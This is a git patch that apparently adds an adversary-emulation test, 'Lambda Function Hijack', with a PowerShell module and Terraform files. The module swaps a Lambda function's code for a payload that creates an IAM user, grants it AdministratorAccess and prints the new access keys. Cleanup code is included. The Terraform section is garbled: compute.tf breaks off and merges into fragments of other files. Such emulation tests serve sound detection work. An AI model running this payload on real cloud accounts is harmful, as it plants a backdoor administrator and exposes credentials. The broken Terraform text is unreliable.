From fdd770460eeb53caac4666d8bd058407d0c9ffa0 Mon Sep 17 00:00:00 2001 From: ryananicholson Date: Tue, 28 Jan 2025 15:04:30 -0500 Subject: [PATCH] feat: T1648-1 (#3038) Co-authored-by: Hare Sudhan Co-authored-by: Bhavin Patel --- atomics/T1648/T1648.yaml | 67 +++++++++ atomics/T1648/src/T1648-1/LambdaAttack.ps1 | 167 +++++++++++++++++++++ atomics/T1648/src/T1648-1/compute.tf | 19 +++ atomics/T1648/src/T1648-1/iam.tf | 39 +++++ atomics/T1648/src/T1648-1/main.tf | 23 +++ atomics/T1648/src/T1648-1/storage.tf | 4 + atomics/T1648/src/T1648-1/variables.tf | 14 ++ 7 files changed, 333 insertions(+) create mode 100644 atomics/T1648/T1648.yaml create mode 100644 atomics/T1648/src/T1648-1/LambdaAttack.ps1 create mode 100644 atomics/T1648/src/T1648-1/compute.tf create mode 100644 atomics/T1648/src/T1648-1/iam.tf create mode 100644 atomics/T1648/src/T1648-1/main.tf create mode 100644 atomics/T1648/src/T1648-1/storage.tf create mode 100644 atomics/T1648/src/T1648-1/variables.tf diff --git a/atomics/T1648/T1648.yaml b/atomics/T1648/T1648.yaml new file mode 100644 index 00000000..38e644b6 --- /dev/null +++ b/atomics/T1648/T1648.yaml @@ -0,0 +1,67 @@ +attack_technique: T1648 +display_name: 'Serverless Execution' +atomic_tests: +- name: Lambda Function Hijack + description: | + Modify an existing Lambda function to execute arbitrary code. + supported_platforms: + - iaas:aws + input_arguments: + access_key: + description: AWS Access Key + type: string + default: "" + secret_key: + description: AWS Secret Key + type: string + default: "" + session_token: + description: AWS Session Token + type: string + default: "" + profile: + description: AWS profile + type: string + default: "" + region: + description: AWS region to deploy the EC2 instance + type: string + default: us-east-2 + dependency_executor_name: powershell + dependencies: + - description: | + The AWS PowerShell module must be installed. + prereq_command: | + try {if (Get-InstalledModule -Name AWSPowerShell -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} + get_prereq_command: | + Install-Module -Name AWSPowerShell -Force + - description: | + Terraform must be installed. + prereq_command: | + terraform --version + get_prereq_command: | + Write-Host "Terraform is required. Download it from https://www.terraform.io/downloads.html" + executor: + command: | + Import-Module "PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1" -Force + $access_key = "#{access_key}" + $secret_key = "#{secret_key}" + $session_token = "#{session_token}" + $aws_profile = "#{profile}" + $region = "#{region}" + Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region + Invoke-Terraform -TerraformCommand init -TerraformDirectory "PathToAtomicsFolder/T1648/src/T1648-1" + Invoke-Terraform -TerraformCommand apply -TerraformDirectory "PathToAtomicsFolder/T1648/src/T1648-1" -TerraformVariables @("profile=T1648-1", "region=$region") + Invoke-LambdaAttack -AWSProfile "T1648-1" -AWSRegion $region + cleanup_command: | + Import-Module "PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1" -Force + $access_key = "#{access_key}" + $secret_key = "#{secret_key}" + $session_token = "#{session_token}" + $aws_profile = "#{profile}" + $region = "#{region}" + Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region + Invoke-Terraform -TerraformCommand destroy -TerraformDirectory "PathToAtomicsFolder/T1648/src/T1648-1" -TerraformVariables @("profile=T1648-1", "region=$region") + Remove-MaliciousUser -AWSProfile "T1648-1" + Remove-TFFiles -Path "PathToAtomicsFolder/T1648/src/T1648-1/" + name: powershell diff --git a/atomics/T1648/src/T1648-1/LambdaAttack.ps1 b/atomics/T1648/src/T1648-1/LambdaAttack.ps1 new file mode 100644 index 00000000..3f8888eb --- /dev/null +++ b/atomics/T1648/src/T1648-1/LambdaAttack.ps1 @@ -0,0 +1,167 @@ +Import-Module AWSPowerShell + +function Set-AWSAuthentication { + param ( + [string]$AccessKey, + [string]$SecretKey, + [string]$SessionToken, + [string]$AWSProfile, + [string]$AWSRegion + ) + if ($SessionToken -eq "" -and $AWSProfile -eq "") { + Set-AWSCredential -AccessKey $AccessKey -SecretKey $SecretKey -StoreAs "T1648-1" + } + elseif ($SessionToken -ne "" -and $AWSProfile -ne "") { + Set-AWSCredential -AccessKey $AccessKey -SecretKey $SecretKey -SessionToken $SessionToken -StoreAs "T1648-1" + } + elseif ($AWSProfile -ne "") { + Set-AWSCredential -ProfileName $AWSProfile -StoreAs "T1648-1" + } + + try { + Get-STSCallerIdentity -ProfileName "T1648-1" | Out-Null + } + catch { + Write-Host "ERROR: Failed to authenticate to AWS. Please check your credentials and try again." + exit 1 + } + Set-DefaultAWSRegion -Region $AWSRegion +} + +function Invoke-Terraform { + param ( + [string]$TerraformCommand, + [string]$TerraformDirectory, + [string[]]$TerraformVariables + ) + + $currentPath = Resolve-Path . + + if (-not (Test-Path $TerraformDirectory)) { + Write-Host "ERROR: Terraform directory not found. Please check the path and try again." + exit 1 + } + + if (-not (Get-ChildItem $TerraformDirectory -Filter "*.tf")) { + Write-Host "ERROR: No Terraform files found in the directory. Please check the path and try again." + exit 1 + } + + foreach($variable in $TerraformVariables) { + $varName = $variable.Split("=")[0] + $varValue = $variable.Split("=")[1] + [Environment]::SetEnvironmentVariable("TF_VAR_$varName", $varValue, "Process") + } + + Set-Location $TerraformDirectory + + if ($TerraformCommand -eq "init") { + try { + terraform init | Out-Null + } + catch { + Write-Host "ERROR: Failed to initialize Terraform. Please check the error message and try again." + exit 1 + } + } elseif ($TerraformCommand -eq "apply") { + try { + terraform apply -auto-approve | Out-Null + } + catch { + Write-Host "ERROR: Failed to apply Terraform. Please check the error message and try again." + exit 1 + } + } elseif ($TerraformCommand -eq "destroy") { + try { + terraform destroy -auto-approve | Out-Null + } + catch { + Write-Host "ERROR: Failed to destroy Terraform. Please check the error message and try again." + exit 1 + } + } else { + Write-Host "ERROR: Invalid Terraform command. Please use 'init', 'apply', or 'destroy'." + exit 1 + } + + Set-Location $currentPath +} + +function Invoke-LambdaAttack { + param ( + [string]$AWSProfile, + [string]$AWSRegion + ) + + $maliciousContent = "import json`n" + $maliciousContent += "import boto3`n`n" + $maliciousContent += "def lambda_handler(event, context):`n" + $maliciousContent += " client = boto3.client('iam')`n" + $maliciousContent += " client.create_user(UserName='T1648-1')`n" + $maliciousContent += " response = client.create_access_key(UserName='T1648-1')`n" + $maliciousContent += " access_key = response['AccessKey']['AccessKeyId']`n" + $maliciousContent += " secret_key = response['AccessKey']['SecretAccessKey']`n" + $maliciousContent += " client.attach_user_policy(UserName='T1648-1', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')`n" + $maliciousContent += " return {`n" + $maliciousContent += " 'statusCode': 200,`n" + $maliciousContent += " 'body': json.dumps({'AccessKeyId': access_key, 'SecretAccessKey': secret_key})`n" + $maliciousContent += " }`n" + + $zipPath = [System.IO.Path]::GetTempPath() + "LambdaAttack.zip" + $zipFile = [System.IO.Compression.ZipFile]::Open($zipPath, [System.IO.Compression.ZipArchiveMode]::Create) + $zipEntry = $zipFile.CreateEntry("lambda.py") + $zipStream = $zipEntry.Open() + $zipWriter = New-Object System.IO.StreamWriter($zipStream) + $zipWriter.Write($maliciousContent) + $zipWriter.Close() + $zipStream.Close() + $zipFile.Dispose() + $zipContent = [System.IO.File]::ReadAllBytes($zipPath) + + $null = Update-LMFunctionCode -FunctionName "T1648-1" -ZipFile $zipContent -ProfileName $AWSProfile -Region $AWSRegion + Sleep 10 # Wait a bit for the Lambda function to update + $result = Invoke-LMFunction -FunctionName "T1648-1" -ProfileName $AWSProfile -Region $AWSRegion + $payload = [System.Text.Encoding]::UTF8.GetString($result.Payload.ToArray()) | ConvertFrom-JSON + $output = $payload | select Body + Remove-Item $zipPath + Write-Host "INFO: Lambda function code updated successfully." + $accessKeyId = ($output.body | ConvertFrom-JSON).AccessKeyId + $secretAccessKey = ($output.body | ConvertFrom-JSON).SecretAccessKey + Write-Host "INFO: New Access Key ID: $accessKeyId" + Write-Host "INFO: New Secret Access Key: $secretAccessKey" +} + +function Remove-MaliciousUser { + param ( + [string]$AWSProfile + ) + + try { + $null = Get-IAMUser -UserName "T1648-1" -ProfileName $AWSProfile + } catch { + return + } + + $accessKeys = Get-IAMAccessKey -UserName "T1648-1" -ProfileName $AWSProfile + foreach ($accessKey in $accessKeys) { + $null = Remove-IAMAccessKey -AccessKeyId $accessKey.AccessKeyId -UserName "T1648-1" -ProfileName $AWSProfile -Force + } + Sleep 5 # Wait a bit for the access keys to be removed + $null = Unregister-IAMUserPolicy -UserName "T1648-1" -PolicyArn "arn:aws:iam::aws:policy/AdministratorAccess" -ProfileName $AWSProfile -Force + $null = Remove-IAMUser -UserName "T1648-1" -ProfileName $AWSProfile -Force + Write-Host "INFO: Malicious user 'T1648-1' removed successfully." +} + +function Remove-TFFiles { + param ( + [string]$Path + ) + + try { + Remove-Item "$Path/lambda_code.zip" -ErrorAction SilentlyContinue + Remove-Item "$Path/terraform.tfstate" -ErrorAction SilentlyContinue + Remove-Item "$Path/terraform.tfstate.backup" -ErrorAction SilentlyContinue + } catch { + return + } +} diff --git a/atomics/T1648/src/T1648-1/compute.tf b/atomics/T1648/src/T1648-1/compute.tf new file mode 100644 index 00000000..306570c1 --- /dev/null +++ b/atomics/T1648/src/T1648-1/compute.tf @@ -0,0 +1,19 @@ +data "archive_file" "lambda_code" { + type = "zip" + source_content = < 0 ? "aws-us-gov" : length(regexall("-cn-", var.region)) > 0 ? "aws-cn" : "aws" +} diff --git a/atomics/T1648/src/T1648-1/storage.tf b/atomics/T1648/src/T1648-1/storage.tf new file mode 100644 index 00000000..782a09c9 --- /dev/null +++ b/atomics/T1648/src/T1648-1/storage.tf @@ -0,0 +1,4 @@ +resource "aws_cloudwatch_log_group" "lambda_log_group" { + name = "/aws/lambda/T1648-1" + retention_in_days = 1 +} diff --git a/atomics/T1648/src/T1648-1/variables.tf b/atomics/T1648/src/T1648-1/variables.tf new file mode 100644 index 00000000..3771af17 --- /dev/null +++ b/atomics/T1648/src/T1648-1/variables.tf @@ -0,0 +1,14 @@ +variable "profile" { + description = "The AWS profile to use" + default = "default" +} + +variable "region" { + description = "The AWS region to deploy to" + default = "us-east-2" +} + +variable "instance_type" { + description = "The instance type to use for the EC2 instance" + default = "t2.micro" +}